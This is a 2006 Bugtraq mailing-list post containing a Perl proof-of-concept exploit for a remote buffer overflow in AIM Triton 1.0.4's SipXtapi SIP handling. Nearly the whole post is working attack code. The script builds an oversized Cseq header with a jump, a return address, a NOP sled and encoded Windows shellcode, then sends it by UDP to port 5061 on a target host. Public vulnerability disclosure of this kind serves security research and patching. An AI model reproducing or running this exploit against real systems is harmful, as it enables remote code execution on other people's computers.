bugtraq - AIM Triton 1.0.4 (SipXtapi) Remote Buffer Overflow Exploit (PoC)

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Message-ID: <20060727035421.5510.qmail@securityfocus.com>
Date: 27 Jul 2006 03:54:21 -0000
From: c0rrupt@...r.us
To: bugtraq@...urityfocus.com
Subject: AIM Triton 1.0.4 (SipXtapi) Remote Buffer Overflow Exploit (PoC)

greetz...


#!/usr/bin/perl
# 
# p0c
# Tested on Windows XP SP2 with triton 1.0.4
# c0rrupt -{at}- f34r -{dot}- us
#
# This exploits the sipxtapi vuln in triton which was patched.. sometime ago..
# The exploit sends a specially crafted udp packet to the triton client
# which leads to command execution through a buffer overflow.
# 
# The Triton client does not open the sipxtapi port 5061 by default.
# The port is open when the client attemps to try any talk session, and stays
# open for the remainder of the time it is running.

use IO::Socket::INET;

$target=$ARGV[0];

$MySocket=new IO::Socket::INET->new(PeerPort=>5061,Proto=>'udp',PeerAddr=>$ARGV[0]);

# win32_exec -  EXITFUNC=thread CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x50\x42\x50\x42\x30\x4b\x48\x45\x44\x4e\x43\x4b\x48\x4e\x37".
"\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x58".
"\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x58".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x45\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x58".
"\x4f\x55\x46\x32\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x54".
"\x4b\x38\x4f\x55\x4e\x41\x41\x50\x4b\x4e\x4b\x38\x4e\x31\x4b\x38".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x53".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x48\x42\x47\x4e\x31\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b".
"\x42\x30\x42\x50\x42\x50\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43".
"\x48\x4f\x42\x56\x48\x45\x49\x58\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x55\x4a\x36\x4f\x4e\x50\x4c\x42\x4e\x42\x46\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x58\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x56\x41\x56".
"\x4e\x56\x43\x56\x50\x52\x45\x56\x4a\x47\x45\x36\x42\x50\x5a";


if (not $ARGV[0]) 
{	
	print "[+] AIM Triton 1.0.4 (and more) Exploit by c0rrupt [+]\n";
	print "[+] Greetz to n0limit, M03, Brax, raze, DiabloHorn, and everyone else [+]\n";
        print "[+] Usage: trionPWN.pl <host> [+]\n";
	exit;
}



print "[+] AIM Triton 1.0.4 (and more) Exploit by c0rrupt [+]\n";
print "[+] Greetz to n0limit, M03, Brax, raze, DiabloHorn, and everyone else [+]\n";


my $cseq = "B"x780 . "\xEB\x0C\x90\x90" . "\xd9\xe7\x01\x40" . "\x90"x500 . $shellcode;

my $packet =
"INVITE sip:a@....0.0.1:5555 SIP/2.0\r
From: <sip:hello@....0.0.1:5555>;tag=1c32606\r
To: sip:CFB5A74A87D97A19@....168.1.109:5061\r
Call-Id: 65f65f65d6sexcytv\r
Cseq: $cseq";

print "[+] Packet Generated.. Sending to " . $target . "\n";

$MySocket->send($packet);

print "[+] Attack completed, check your shell.\n";